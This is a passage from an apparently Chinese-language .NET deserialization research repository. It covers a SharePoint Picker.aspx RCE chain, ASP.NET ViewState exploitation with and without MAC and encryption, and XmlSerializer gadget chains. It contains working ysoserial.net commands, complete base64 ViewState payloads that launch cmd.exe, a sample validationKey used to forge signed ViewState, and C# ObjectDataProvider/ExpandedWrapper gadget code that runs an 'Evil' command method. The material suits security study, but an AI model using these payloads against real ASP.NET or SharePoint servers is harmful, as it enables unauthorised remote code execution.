();
128 | eobj.ProjectedProperty0 = new ObjectDataProvider();
129 | eobj.ProjectedProperty0.ObjectInstance = new XamlReader();
130 | eobj.ProjectedProperty0.MethodName = "Parse";
131 | eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath));
132 | return eobj;
133 | }
134 | }
135 | }
136 | ```
137 |
138 | 用ExpandedWrapper包装XamlReader和ObjectDataProvider,然后用EncodeEntityInstanceId编码,通过hiddenSpanData发送出去
139 |
140 | 
141 |
142 | 然后这不就来了吗
143 |
144 | 
145 |
146 | # 正向捋一捋流程
147 |
148 | 1. Picker.aspx接收参数实例化PickerDialog控件。
149 | 2. PickerDialog有一个子类:ItemPickerDialog,其构造函数用到了ItemPicker
150 | 3. ItemPicker继承自EntityEditorWithPicker,EntityEditorWithPicker又继承自EntityEditor
151 | 4. EntityEditor实现IPostBackDataHandler接口LoadPostData()
152 | 5. 在LoadPostData中ParseSpanData解析hiddenSpanData,赋值m_listOrderTemp控制pe.Key
153 | 6. 然后进入Validate,循环遍历m_listOrderTemp强转PickerEntity进入Microsoft.SharePoint.Portal.WebControls.ItemPicker.ValidateEntity(PickerEntity)
154 | 7. ValidateEntity将pe.Key传入DecodeEntityInstanceId
155 | 8. DecodeEntityInstanceId从pe.Key拿到type,type可控导致反序列化RCE
156 |
157 | # ysoserial.net中的bug
158 |
159 | 使用yso生成的payload并不起作用,本地复现报错xaml格式问题,发现是因为在他的xaml中多写了两个大括号。已经给作者提了pr https://github.com/pwntester/ysoserial.net/pull/107
160 |
161 |
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210421105004584.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210421105004584.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423093639645.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423093639645.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423095957309.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423095957309.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423100231532.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423100231532.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423100346984.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423100346984.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423105549185.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423105549185.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423110821354.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423110821354.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423111143072.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423111143072.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423112540223.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423112540223.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423113056084.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423113056084.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423113432726.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423113432726.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423114839443.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423114839443.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423115351194.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423115351194.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423115916072.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423115916072.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423134658154.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423134658154.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423135603478.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423135603478.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423141033293.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423141033293.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423173350326.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423173350326.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423173543809.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423173543809.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423173707437.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423173707437.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423174149763.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174149763.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423174727520.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174727520.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423174820749.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174820749.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423174914316.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174914316.png
--------------------------------------------------------------------------------
/SoapFormatter.assets/image-20210423175705137.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423175705137.png
--------------------------------------------------------------------------------
/ViewState.md:
--------------------------------------------------------------------------------
1 | # 认识ViewState
2 | 使用vs2019创建一个新的项目
3 |
4 | 
5 |
6 |
7 | 
8 |
9 | 有一个默认的Default.aspx
10 |
11 | 
12 |
13 | 其中form表单有 `runat="server"` 属性,然后页面中生成了 `__VIEWSTATE` 和 `__VIEWSTATEGENERATOR` 两个隐藏字段。
14 |
15 | 
16 |
17 |
18 | 使用[ViewStateDecoder](https://github.com/raise-isayan/ViewStateDecoder/tree/master/release)解密内容
19 |
20 | 
21 |
22 | 看过我之前文章的人应该知道这一串`/wEPDwULLTE2MTY2ODcyMjlkZPANhFrc/D/zynboI58b9RD9UhX7OF4/2ILmVw2Vu7d2`是由losFormatter序列化二进制数据然后base64的字符串
23 |
24 | 
25 |
26 | 反序列化回来可知其本质是一组`System.Web.UI.Pair`对象。我们可以在代码中向viewstate中添加键值来保存一些对象。
27 |
28 | 比如Default.aspx.cs
29 |
30 | ```
31 | using System;
32 | using System.Collections.Generic;
33 | using System.Web;
34 | using System.Web.UI;
35 | using System.Web.UI.WebControls;
36 |
37 | public partial class _Default : System.Web.UI.Page
38 | {
39 | protected void Page_Load(object sender, EventArgs e)
40 | {
41 | ViewState.Add("asd", "asd");
42 | }
43 | }
44 | ```
45 | 此时viewstate值为 `/wEPDwULLTE2MTY2ODcyMjkPFgIeA2FzZAUDYXNkZGRE3e84k6pb/oXbu/72ZxNc9h9dcEj+8FXmWEbtzuCtkQ==`
46 |
47 | 
48 |
49 |
50 | 也正是因为viewstate可以被任何人拿过来反序列化拿到其中的敏感信息,甚至可以直接传递恶意的viewstate进行反序列化rce(这个放后面演示),所以losformatter被弃用而转由ObjectStateFormatter代替。ObjectStateFormatter的作用就在于对viewstate进行加密,并校验签名防篡改。
51 |
52 |
53 | # viewstate的加密和防篡改
54 |
55 | 在dotnet2.0中,aspx的Page标签,或者web.config中都可以对viewstate进行加密,关键取决于以下两个值
56 |
57 | 1. ViewStateEncryptionMode="Always"
58 | 2. EnableViewStateMac="true"
59 |
60 |
61 | ViewStateEncryptionMode是一个枚举,三个选项值就不解释了。
62 |
63 | 
64 |
65 | 单独加密并不能解决篡改的问题,需要EnableViewStateMac来保证数据完整性。
66 |
67 | 当在aspx页面中启用`ViewStateEncryptionMode="Always"`时viewstate随之加密。
68 |
69 |
70 | 
71 |
72 | 而对于EnableViewStateMac
73 |
74 | > 从.NET 4.5.2 开始,强制启用ViewStateMac功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。
75 |
76 | 他的值取决于web.config中的一个键值和一个注册表的值,以及page自身的EnableViewStateMac。
77 |
78 | 在ObjectStateFormatter.Deserialize()中
79 |
80 | 
81 |
82 | array数组取决于是否启用EnableViewStateMac
83 |
84 | 
85 |
86 |
87 | 这个属性又取决于EnableViewStateMacRegistryHelper类,在他的构造函数中
88 |
89 | 
90 |
91 | 断点的地方从注册表中读取一个值,如果为不等于0,则返回true
92 |
93 | 
94 |
95 | 也就是不为0时,强制执行
96 |
97 | ```csharp
98 | if (flag)
99 | {
100 | EnableViewStateMacRegistryHelper.EnforceViewStateMac = true;
101 | EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks = true;
102 | }
103 | ```
104 |
105 | 将EnforceViewStateMac设置为true
106 |
107 | 另一个if条件是
108 |
109 | ```csharp
110 | if (AppSettings.AllowInsecureDeserialization != null)
111 | {
112 | EnableViewStateMacRegistryHelper.EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;
113 | EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
114 | }
115 | ```
116 |
117 | 对AllowInsecureDeserialization取反,AllowInsecureDeserialization这个值在web.config中可以配置。
118 |
119 | ```xml
120 |
121 |
122 |
123 |
124 |
125 | ```
126 |
127 | 而只有这两个值最起码要启用一个才能强制关闭EnforceViewStateMac,比如下图。
128 |
129 | 
130 |
131 | 虽然page里赋值为false,但是因为注册表中没有禁用mac,在web.config中也没禁用web.config,所以即使在page中禁用mac,通过反射输出的值仍为true,此时仍然是启用了mac校验的。
132 |
133 | ```csharp
134 | <%
135 | System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
136 | object v = propertyInfo.GetValue(Page, new object[] { });
137 | Response.Write(propertyInfo.Name + ":" + v + "
");
138 | Response.Write(Environment.Version.ToString(3));
139 | %>
140 | ```
141 |
142 | 把注册表改为0,重启IIS,此时就能禁用mac验证了。
143 |
144 | 
145 |
146 | # 禁用mac时的利用
147 |
148 | 当禁用mac时并且没有启用加密时,我们可以直接用LosFormatter生成payload打过去。
149 |
150 | ```
151 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "ping localhost -t"
152 | /wEyqQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAA3Akvd0V5bmdjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBREFCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdjR2x1WnlCc2IyTmhiR2h2YzNRZ0xYUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs=
153 | ```
154 |
155 | 
156 |
157 | 这里爆出了TextFormattingRunProperties的错误,说明执行了命令
158 |
159 | 
160 |
161 |
162 | 在传递__VIEWSTATE参数时发现是直接GET传参,其实POST传参也行,为什么直接传递参数就会被解析?是因为在Page中还有一个EnableViewState="false"的属性。
163 |
164 | ```csharp
165 | <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" EnableViewState="true" EnableViewStateMac="false" %>
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
185 |
186 |
187 | ```
188 |
189 | 当 `EnableViewState="true"` 时,`__VIEWSTATE`为 `/wEPDwUKLTg0NTYxMzIxNQ8WAh4DYXNkBQNhc2RkZA==`
190 |
191 | false时,`__VIEWSTATE`为 `/wEPDwUKLTg0NTYxMzIxNWRk`。
192 |
193 | 区别在于禁用ViewState之后ViewState只是变短了而已,但是这个字段仍然存在,所以viewstate仍会被IIS被动解析。
194 |
195 | Page类有一个RequestViewStateString属性
196 |
197 | 
198 |
199 | 从request中拿到`__VIEWSTATE`
200 |
201 | 
202 |
203 | 在`System.Web.dll!System.Web.UI.HiddenFieldPageStatePersister.Load()`中获取`__VIEWSTATE`,交给objectstateformatter进行反序列化。所以请求中只要有`__VIEWSTATE`就会反序列化。
204 |
205 | 到这里我们清楚了,iis默认被动解析viewstate,如果禁用mac并且没有启用加密可以直接rce。但是实际环境都是默认启用mac校验,并且一般会启用加密,所以接下来看一下启用加密的viewstate怎么利用。
206 |
207 | # 启用加密的利用
208 | 启用加密需要配置machineKey字段,page中`ViewStateEncryptionMode="Always"`时会自动生成machineKey。
209 |
210 | [微软文档中](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649308(v=pandp.10)?redirectedfrom=MSDN)提到在web.config中可以配置如下来自动生成machineKey。web.config中默认就是这个,效果等同于不写。
211 |
212 | ```
213 |
218 | ```
219 |
220 | viewstate用于身份验证的情况下,每次都会根据machineKey的配置来加密解密。而每台机器生成的key都不一样,所以在大型应用比如sharepoint中会进行手动配置machineKey。而手动配置如果我们拿到了machineKey的值,就可以对其利用。
221 |
222 | 一个手动配置的例子如下
223 |
224 | ```xml
225 |
226 | ```
227 |
228 | 用ysoserial.net生成
229 |
230 | ```
231 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "ping localhost -t" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --islegacy
232 |
233 | /wEyngcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADABTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcGluZyBsb2NhbGhvc3QgLXQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C+yvvPy4DNhXXbZoH56OR6lLdT4o
234 | ```
235 |
236 | 将IIS的应用程序池设置为.net4.5,不然会报错找不到TextFormattingRunProperties的依赖
237 |
238 | 
239 |
240 | 这边报错强制类型转换错误
241 |
242 | 
243 |
244 | 实际上是已经执行了cmd的
245 |
246 | 
247 |
248 |
249 | # __VIEWSTATEGENERATOR字段
250 |
251 | 大腿师傅问我`VIEWSTATEGENERATOR`字段对上的话,machineKey是不是一样。以及__VIEWSTATEGENERATOR是不是根据path和apppath生成的。
252 |
253 | 在objectstateformatter的反序列化方法中,启用加密会进入GetDecodedData解密viewstate
254 |
255 | 
256 |
257 | 其参数有一个GetMacKeyModifier()方法的返回值
258 |
259 | 
260 |
261 | 它返回一个字节数组,其中GetClientStateIdentifier来用TemplateSourceDirectory和classname计算hashcode
262 |
263 | 
264 |
265 | 接着判断viewStateUserKey是否为空,如果不为空就使用_page.ViewStateUserKey,为空就用GetClientStateIdentifier()生成的。
266 |
267 | 也能用__VIEWSTATEGENERATOR字段,因为__VIEWSTATEGENERATOR字段就是用GetClientStateIdentifier计算的。
268 |
269 | 
270 |
271 | 回到大腿师傅的问题,我个人结论是__VIEWSTATEGENERATOR和machineKey没有关系。
272 |
273 |
274 | 本地实验两个不同的machineKey,__VIEWSTATEGENERATOR一致
275 |
276 | 
277 |
278 | 而当machineKey相同,文件名和类名不同时,__VIEWSTATEGENERATOR不一致
279 |
280 | 
281 |
282 | 原因就是GetClientStateIdentifier生成__VIEWSTATEGENERATOR是依据TemplateSourceDirectory和classname,而并非machineKey。
283 |
284 | 另外ysoserial.net中viewstate插件有apppath和path参数,这两个参数就是用来计算VIEWSTATEGENERATOR的值,如果页面源代码里没有VIEWSTATEGENERATOR,可以使用这两个参数来计算。
285 |
286 |
287 |
288 | # 参考
289 | 1. https://www.cnblogs.com/edisonchou/p/3901559.html
290 | 2. https://paper.seebug.org/1386/
291 | 3. https://github.com/0xacb/viewgen
292 |
--------------------------------------------------------------------------------
/XmlSerializer.md:
--------------------------------------------------------------------------------
1 | # XmlSerializer 类
2 |
3 | XmlSerializer是微软自带的序列化类,用于在xml字符串和对象之间相互转化。其命名空间:[System.Xml.Serialization](https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.serialization?view=net-5.0),程序集为:System.Xml.XmlSerializer.dll,[微软文档地址在这](https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0)。
4 |
5 | # 使用案例
6 |
7 | ```csharp
8 | using System;
9 | using System.Collections.Generic;
10 | using System.IO;
11 | using System.Linq;
12 | using System.Text;
13 | using System.Threading.Tasks;
14 | using System.Xml.Serialization;
15 |
16 | namespace XmlDeserialization
17 | {
18 | [XmlRoot]
19 | public class Person
20 | {
21 | [XmlElement]
22 | public int Age { get; set; }
23 | [XmlElement]
24 | public string Name { get; set; }
25 | [XmlArray("Items")]
26 | public Order[] OrderedItems;
27 | [XmlAttribute]
28 | public string ClassName { get; set; }
29 | }
30 |
31 | public class Order
32 | {
33 | public int OrderID;
34 | }
35 |
36 | class Program
37 | {
38 | static void Main(string[] args)
39 | {
40 | Person p = new Person();
41 | p.Name = "jack";
42 | p.Age = 12;
43 | Order order = new Order();
44 | order.OrderID = 123;
45 | Order order1 = new Order();
46 | order.OrderID = 456;
47 | Order[] orders = new Order[] { order, order1 };
48 | p.OrderedItems = orders;
49 | p.ClassName = "classname";
50 |
51 |
52 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
53 | MemoryStream memoryStream = new MemoryStream();
54 | TextWriter writer = new StreamWriter(memoryStream);
55 | // 序列化
56 | xmlSerializer.Serialize(writer, p);
57 |
58 | memoryStream.Position = 0;
59 |
60 | // 输出xml
61 | Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
62 | // 反序列化
63 | Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
64 | Console.WriteLine(p1.Name);
65 | Console.ReadKey();
66 | }
67 | }
68 | }
69 | ```
70 |
71 | 输出结果
72 |
73 | ```xml
74 |
75 |
76 |
77 |
78 | 456
79 |
80 |
81 | 0
82 |
83 |
84 | 12
85 | jack
86 |
87 | jack
88 | ```
89 |
90 | XmlSerializer只能将对象的公共(public)属性和公共字段进行序列化和反序列化。
91 |
92 | 在序列化的时候我们可以看到`new XmlSerializer(typeof(Person))`将对象类型type传入xmlserializer,这边有几种方式获取Type
93 |
94 | ```csharp
95 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));// typeof()
96 | XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
97 | XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("XmlDeserialization.Person")); //使用命名空间加类名
98 | ```
99 |
100 | # 反序列化攻击链
101 |
102 | 对于xml反序列化最经典的就是ObjectDataProvider,在ysoserial.net工具中有这条gadget。使用ysoserial.net生成
103 |
104 | ```xml
105 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
106 |
107 |
108 |
109 |
110 |
111 | Parse
112 |
113 |
114 | cmd/c calc]]>
115 |
116 |
117 |
118 |
119 |
120 |
121 | ```
122 |
123 | ## ObjectDataProvider
124 |
125 | 分析一下ObjectDataProvider是什么玩意
126 |
127 | ```csharp
128 | ObjectDataProvider o = new ObjectDataProvider();
129 | o.MethodParameters.Add("cmd.exe");
130 | o.MethodParameters.Add("/c calc");
131 | o.MethodName = "Start";
132 | o.ObjectInstance = new Process();
133 | Console.ReadKey();
134 | ```
135 |
136 | 当执行的时候会弹出计算器。但是使用xml序列化时会报错
137 |
138 | ```csharp
139 | ObjectDataProvider o = new ObjectDataProvider();
140 | o.MethodParameters.Add("cmd.exe");
141 | o.MethodParameters.Add("/c calc");
142 | o.MethodName = "Start";
143 | o.ObjectInstance = new Process();
144 | XmlSerializer xml = new XmlSerializer(typeof(Object));
145 | xml.Serialize(writer, o);
146 | ```
147 |
148 | ```txt
149 | InvalidOperationException: 不应是类型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。
150 | ```
151 |
152 | 因为序列化过程中o的类型未知,这里可以使用`ExpandedWrapper`类包装下我们自己的类,然后在MethodName调用自己的方法来执行恶意命令。
153 |
154 | ```csharp
155 | using System;
156 | using System.Diagnostics;
157 | using System.IO;
158 | using System.Text;
159 | using System.Windows.Data;
160 | using System.Xml.Serialization;
161 | using System.Data.Services.Internal;
162 |
163 | namespace XmlDeserialization
164 | {
165 | [XmlRoot]
166 | public class Person
167 | {
168 | [XmlAttribute]
169 | public string ClassName { get; set; }
170 | public void Evil(string cmd)
171 | {
172 | Process process = new Process();
173 | process.StartInfo.FileName = "cmd.exe";
174 | process.StartInfo.Arguments = "/c " + cmd;
175 | process.Start();
176 | }
177 | }
178 |
179 | class Program
180 | {
181 | static void Main(string[] args)
182 | {
183 | MemoryStream memoryStream = new MemoryStream();
184 | TextWriter writer = new StreamWriter(memoryStream);
185 | ExpandedWrapper expandedWrapper = new ExpandedWrapper();
186 | expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
187 | expandedWrapper.ProjectedProperty0.MethodName = "Evil";
188 | expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
189 | expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
190 | XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper));
191 | xml.Serialize(writer, expandedWrapper);
192 | string result = Encoding.UTF8.GetString(memoryStream.ToArray());
193 | Console.WriteLine(result);
194 |
195 | memoryStream.Position = 0;
196 | xml.Deserialize(memoryStream);
197 |
198 | Console.ReadKey();
